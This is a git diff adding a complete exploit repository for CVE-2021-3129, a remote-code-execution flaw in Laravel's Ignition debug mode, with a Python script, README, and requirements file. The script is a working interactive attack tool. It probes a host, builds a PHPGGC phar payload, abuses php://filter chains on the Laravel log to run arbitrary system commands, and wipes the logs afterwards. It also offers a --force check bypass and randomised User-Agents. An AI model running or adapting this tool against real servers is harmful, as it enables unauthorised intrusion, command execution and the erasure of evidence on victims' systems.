diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..bab4c93 Binary files /dev/null and b/.DS_Store differ diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..a2918fe --- /dev/null +++ b/.gitignore @@ -0,0 +1,154 @@ +# Created by .ignore support plugin (hsz.mobi) +### Python template +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +env/ +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +*.egg-info/ +.installed.cfg +*.egg + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*,cover +.hypothesis/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +# IPython Notebook +.ipynb_checkpoints + +# pyenv +.python-version + +# celery beat schedule file +celerybeat-schedule + +# dotenv +.env + +# virtualenv +venv/ +ENV/ + +# Spyder project settings +.spyderproject + +# Rope project settings +.ropeproject +### VirtualEnv template +# Virtualenv +# http://iamzed.com/2009/05/07/a-primer-on-virtualenv/ +.Python +[Bb]in +[Ii]nclude +[Ll]ib +[Ll]ib64 +[Ll]ocal +[Ss]cripts +pyvenv.cfg +.venv +pip-selfcheck.json +### JetBrains template +# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and Webstorm +# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 + +# User-specific stuff: +.idea/workspace.xml +.idea/tasks.xml +.idea/dictionaries +.idea/vcs.xml +.idea/jsLibraryMappings.xml + +# Sensitive or high-churn files: +.idea/dataSources.ids +.idea/dataSources.xml +.idea/dataSources.local.xml +.idea/sqlDataSources.xml +.idea/dynamic.xml +.idea/uiDesigner.xml + +# Gradle: +.idea/gradle.xml +.idea/libraries + +# Mongo Explorer plugin: +.idea/mongoSettings.xml + +.idea/ + +## File-based project format: +*.iws + +## Plugin-specific files: + +# IntelliJ +/out/ + +# mpeltonen/sbt-idea plugin +.idea_modules/ + +# JIRA plugin +atlassian-ide-plugin.xml + +# Crashlytics plugin (for Android Studio and IntelliJ) +com_crashlytics_export_strings.xml +crashlytics.properties +crashlytics-build.properties +fabric.properties + +# Other +phpggc-master \ No newline at end of file diff --git a/CVE-2021-3129.py b/CVE-2021-3129.py new file mode 100644 index 0000000..b375f4b --- /dev/null +++ b/CVE-2021-3129.py @@ -0,0 +1,338 @@ +import argparse +import random + +import requests +import os +import base64 +import zipfile +import stat +import json +import pkg_resources + +PURPLE = '\033[95m' +CYAN = '\033[96m' +DARKCYAN = '\033[36m' +BLUE = '\033[94m' +GREEN = '\033[92m' +YELLOW = '\033[93m' +RED = '\033[91m' +BOLD = '\033[1m' +UNDERLINE = '\033[4m' +END = '\033[0m' + +USER_AGENTS = ["Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-en) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/E7FBAF", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134", "Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"] + + +class Main: + def __init__(self, host, force=False, log_path=None, useragent=False): + self.host = host + self.force = force + self.log_path = log_path + self.useragent = self.random_useragent() if useragent else "Python" + + self.start() + + def start(self): + print(DARKCYAN + f"[@] Starting exploit on \"{self.host}\"...") + + if not self.is_vulnerable(): + print(RED + "[!] Host does not seem to be vulnerable. Use parameter \"--force\" to bypass this check.") + exit() + + print(BLUE + "[•] Use \"?\" for a list of all possible actions.") + self.ask_command() + + def ask_command(self): + response = input(PURPLE + "[?] Please enter a command to execute: ") + + response = response.lower() + if response == "?" or response == "help": + self.cmd_help() + elif response == "exit": + exit() + elif response == "clear_logs": + self.cmd_clear_logs() + elif response[0:7] == "execute": + self.cmd_execute_cmd(response[8:]) + elif response[0:7] == "write": + self.cmd_execute_write(response[6:]) + else: + print(RED + f"[!] No command found named \"{response}\".") + + self.ask_command() + + def cmd_help(self): + print(BLUE + "[•] Available commands:") + print(DARKCYAN + " exit - Exit program.") + print(DARKCYAN + " help - Shows available commands.") + print(DARKCYAN + " clear_logs - Clears Laravel logs.") + print(DARKCYAN + " execute - Execute system command.") + print(DARKCYAN + " write - Write to log file.") + + def cmd_clear_logs(self): + print(DARKCYAN + f"[@] Clearing Laravel logs...") + self.exploit_clear_logs() + if not self.force: + print(GREEN + f"[√] Cleared Laravel logs!") + + def cmd_execute_cmd(self, cmd): + print(DARKCYAN + f"[@] Executing command \"{cmd}\"...") + payload = self.generate_payload(cmd, 16) + + print(BLUE + "[@] Clearing logs...") + if self.exploit_clear_logs().status_code != 200: + print(RED + "[!] Failed clearing logs.") + return + print(GREEN + "[√] Cleared logs.") + + print(BLUE + "[@] Causing error in logs...") + if self.exploit_cause_error().status_code != 500: + print(RED + "[!] Failed causing error.") + return + print(GREEN + "[√] Caused error in logs.") + + print(BLUE + "[@] Sending payload...") + if self.exploit_request(payload, 500).status_code != 500: + print(RED + "[!] Failed sending payload.") + return + print(GREEN + "[√] Sent payload.") + + print(BLUE + "[@] Converting payload...") + if (self.exploit_request( + f"php://filter/read=convert.quoted-printable-decode|" + f"convert.iconv.utf-16le.utf-8|" + f"convert.base64-decode/resource={self.log_path}", + 200).status_code != 200): + print(RED + "[!] Failed converting payload.") + return + print(GREEN + "[√] Converted payload.") + + exploited = self.exploit_request(f"phar://{self.log_path}", 500) + if exploited.status_code == 500 and "cannot be empty" in exploited.text: + print(GREEN + "[√] Result:") + result = exploited.text.split("")[1] + print(END + result) + + print(BLUE + "[@] Clearing logs...") + if self.exploit_clear_logs().status_code != 200: + print(RED + "[!] Failed clearing logs.") + return + print(GREEN + "[√] Cleared logs.") + + def cmd_execute_write(self, text): + print(DARKCYAN + f"[@] Writing to log file: \"{text}\"...") + payload = self.generate_write_payload(text, 16) + + print(BLUE + "[@] Clearing logs...") + if self.exploit_clear_logs().status_code != 200: + print(RED + "[!] Failed clearing logs.") + return + print(GREEN + "[√] Cleared logs.") + + print(BLUE + "[@] Causing error in logs...") + if self.exploit_cause_error().status_code != 500: + print(RED + "[!] Failed causing error.") + return + print(GREEN + "[√] Caused error in logs.") + + print(BLUE + "[@] Sending payload...") + if self.exploit_request(payload, 500).status_code != 500: + print(RED + "[!] Failed sending payload.") + return + print(GREEN + "[√] Sent payload.") + + print(BLUE + "[@] Converting payload...") + if (self.exploit_request( + f"php://filter/read=convert.quoted-printable-decode|" + f"convert.iconv.utf-16le.utf-8|" + f"convert.base64-decode/resource={self.log_path}", + 200).status_code != 200): + print(RED + "[!] Failed converting payload.") + return + print(GREEN + "[√] Converted payload.") + + def exploit_clear_logs(self) -> requests.Response: + return self.exploit_request(f"php://filter/read=consumed/resource={self.log_path}", 200) + + def exploit_cause_error(self) -> requests.Response: + return self.exploit_request("AA", 500) + + def random_useragent(self) -> str: + return random.choice(USER_AGENTS) + + def setup_phpggc(self): + zip_path = "./master_phpggc.zip" + print(BLUE + "[@] Downloading PHPGCC from \"ambionics/phpggc\" GitHub repository...") + + request = requests.get("https://github.com/ambionics/phpggc/archive/refs/heads/master.zip", + verify=False, allow_redirects=True, headers={"User-Agent": self.useragent}) + + open(zip_path, "wb").write(request.content) + with zipfile.ZipFile(zip_path, "r") as zip_ref: + zip_ref.extractall("./") + print(GREEN + "[√] Downloaded/extracted PHPGCC.") + + phpgcc_path = "./phpggc-master/phpggc" + + print(BLUE + "[@] Updating PHPGCC execution rights...") + if os.path.exists(phpgcc_path): + st = os.stat(phpgcc_path) + os.chmod(phpgcc_path, st.st_mode | stat.S_IEXEC) + print(GREEN + "[√] Updated PHPGCC execution rights.") + + os.unlink(zip_path) + + def generate_payload(self, command: str, padding=0) -> str: + print(DARKCYAN + f"[@] Generating payload...") + + if '/' in command: + command = command.replace('/', '\/') + command = command.replace('\'', '\\\'') + + if '\'' in command: + command = command.replace("'", "\'") + + if not os.path.exists("./phpggc-master/phpggc"): + print(RED + "[!] Required binary PHPGGC not found.") + self.setup_phpggc() + + os.system( + f"php -d'phar.readonly=0' ./phpggc-master/phpggc monolog/rce1 system '{command}' --phar phar -o ./tmp.phar") + + payload = open("./tmp.phar", 'rb').read() + payload = base64.b64encode(payload).decode().rstrip('=') + payload = ''.join(c + '=00' for c in payload) + payload = 'A' * padding + payload + payload = payload.replace("\n", "") + "A" + + os.unlink("./tmp.phar") + + print(GREEN + f"[√] Generated payload.") + return payload + + def generate_write_payload(self, text: str, padding=0) -> str: + print(DARKCYAN + f"[@] Generating payload...") + + payload = base64.b64encode(text.encode()).decode().rstrip('=') + payload = ''.join(c + '=00' for c in payload) + payload = 'A' * padding + payload + os.unlink("./tmp.phar") + + print(GREEN + f"[√] Generated payload.") + return payload + + def exploit_request(self, value: str, expected_response: int = 200) -> requests.Response: + data = { + "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", + "parameters": { + "variableName": "variable", + "viewFile": value + } + } + headers = { + "Content-Type": "application/json", + "Accept": "*/*", + "User-Agent": self.useragent + } + + request = requests.post(url=f"{self.host}_ignition/execute-solution", json=data, headers=headers, verify=False) + if request.status_code != expected_response: + print( + RED + f"[!] Exploit request returned status code {request.status_code}. Expected {expected_response}.") + + if "runnable solutions are disabled in non-local environments" in request.text.lower(): + print(RED + f"[!] Website has patched the vulnerability. Response: \"Runnable solutions are disabled in non-local environments. Please make sure `APP_ENV` is set correctly. Additionally please make sure `APP_DEBUG` is set to false on ANY production environment!\"") + + return request + + def is_vulnerable(self): + print(DARKCYAN + f"[@] Testing vulnerable URL {self.host}_ignition/execute-solution...") + request = requests.get(url=f"{self.host}_ignition/execute-solution", verify=False) + + if request.status_code != 405: + print(BLUE + f"[•] Host returned status code {request.status_code}. Expected 405 (Method not allowed).") + if not self.force: return False + + if "laravel" not in str(request.content): + print(RED + f"[•] Host does not seems like Laravel. No \"laravel\" found in body.") + if not self.force: return False + + if not self.force: print(GREEN + f"[√] Host seems vulnerable!") + + print(DARKCYAN + f"[@] Searching Laravel log file path...") + found_path = self.find_log_path(content=request.content) + + if self.log_path is None: + if found_path is None: + print(RED + "[!] No log path could be found. Please define the log path with the \"--log\" argument") + exit() + else: + print(BLUE + f"[•] Laravel log found: \"{DARKCYAN}{found_path}{BLUE}\".") + + laravel_version = self.find_laravel_version(content=request.text) + if laravel_version is not None: + print(BLUE + f"[•] Laravel version found: \"{DARKCYAN}{laravel_version}{BLUE}\".") + + if not self.force: + patched_version = pkg_resources.parse_version("8.4.2") + current_version = pkg_resources.parse_version(laravel_version) + if current_version >= patched_version: + print(RED + "[!] Host is using a patched version of Laravel. " + "Use parameter \"--force\" to bypass this check.") + exit() + + if self.log_path is None: + self.log_path = found_path + print(GREEN + f"[√] Laravel log file set to \"{found_path}\".") + else: + print(BLUE + f"[•] Ignoring found path. Using path \"{self.log_path}\".") + + return True + + def find_log_path(self, content): + for line in str(content).split("\\n"): + if "Symfony\\\Component\\\HttpKernel\\\Exception\\\MethodNotAllowedHttpException" in line: + parts_one = line.split("in file ") + if len(parts_one) != 2: + continue + + parts_two = parts_one[1].split("/vendor/laravel/framework") + if len(parts_two) != 2: + continue + + root_path = parts_two[0] + log_path = f"{root_path}/storage/logs/laravel.log" + print(BLUE + f"[•] Log path found: \"{DARKCYAN}{log_path}{BLUE}\"") + return log_path + return None + + def find_laravel_version(self, content: str): + if "window.data = {" in content and "};\n" in content: + json_from = content.index("window.data = {") + 15 + json_to = content.index("};\n") + 1 + json_res = "{" + content[json_from:json_to] + + details = json.loads(json_res) + return details['report']['framework_version'] + return None + + +if __name__ == "__main__": + print(PURPLE + BOLD + "Laravel Debug Mode CVE script") + print(END + PURPLE + "[•] Made by: https://jvdpoll.nl" + RED) + + parser = argparse.ArgumentParser(description='Exploit CVE-2021-3129 - Laravel vulnerability exploit script') + parser.add_argument('--host', help='Host URL to use exploit on', required=True) + parser.add_argument('--force', help='Force exploit without checking if vulnerable', required=False, default=False, + action='store_true') + parser.add_argument('--log', help='Full path to laravel.log file (e.g. /var/www/html/storage/logs/laravel.log)', + required=False, default=None) + parser.add_argument('--ua', help='Randomize User-Agent for requests', required=False, default=False, + action='store_true') + + args = parser.parse_args() + + if args.host[-1] != "/": args.host = args.host + "/" + + requests.packages.urllib3.disable_warnings() + x = Main(host=args.host, force=args.force, log_path=args.log, useragent=args.ua) diff --git a/README.md b/README.md new file mode 100644 index 0000000..27cb3da --- /dev/null +++ b/README.md @@ -0,0 +1,72 @@ +# CVE-2021-3129 - Laravel RCE + +## About +The script has been made for exploiting the Laravel RCE (CVE-2021-3129) vulnerability.
+This script allows you to write/execute commands on a website running Laravel <= v8.4.2, that has "APP_DEBUG" set to "true" in it's ".env" file. + +It currently has supports for searching the log file, executing commands, writing to the log file and support for clearing log files. + +## Setup +``` +$ git clone https://github.com/joshuavanderpoll/CVE-2021-3129.git +$ cd CVE-2021-3129 +# pip install -r requirements.txt +# python3 CVE-2021-3129.py --help +``` + +## Example +``` +$ python3 CVE-2021-3129.py --host http://127.0.0.1/public/ +Laravel Debug Mode CVE script +[•] Made by: https://jvdpoll.nl +[@] Starting exploit on "http://127.0.0.1/public/"... +[@] Testing vulnerable URL http://127.0.0.1/public/_ignition/execute-solution... +[√] Host seems vulnerable! +[@] Searching Laravel log file path... +[•] Log path found: "/home/laravel/web/storage/logs/laravel.log" +[•] Laravel log found: "/home/laravel/web/storage/logs/laravel.log". +[√] Laravel log file set to "/home/laravel/web/storage/logs/laravel.log". +[•] Use "?" for a list of all possible actions. +[?] Please enter a command to execute: help +[•] Available commands: + exit - Exit program. + help - Shows available commands. + clear_logs - Clears Laravel logs. + execute - Execute system command. + write - Write to log file. +[?] Please enter a command to execute: execute ls /home/laravel/web/ +[@] Executing command "ls /home/laravel/web/"... +[@] Generating payload... +[√] Generated payload. +[@] Clearing logs... +[√] Cleared logs. +[@] Causing error in logs... +[√] Caused error in logs. +[@] Sending payload... +[√] Sent payload. +[@] Converting payload... +[√] Converted payload. +[√] Result: + +README.md +app +artisan +bootstrap +composer.json +composer.lock +config +database +package.json +phpunit.xml +public +resources +routes +server.php +storage +tests +vendor +webpack.mix.js + +[@] Clearing logs... +[√] Cleared logs. +``` \ No newline at end of file diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..78235c3 --- /dev/null +++ b/requirements.txt @@ -0,0 +1 @@ +requests~=2.27.1 \ No newline at end of file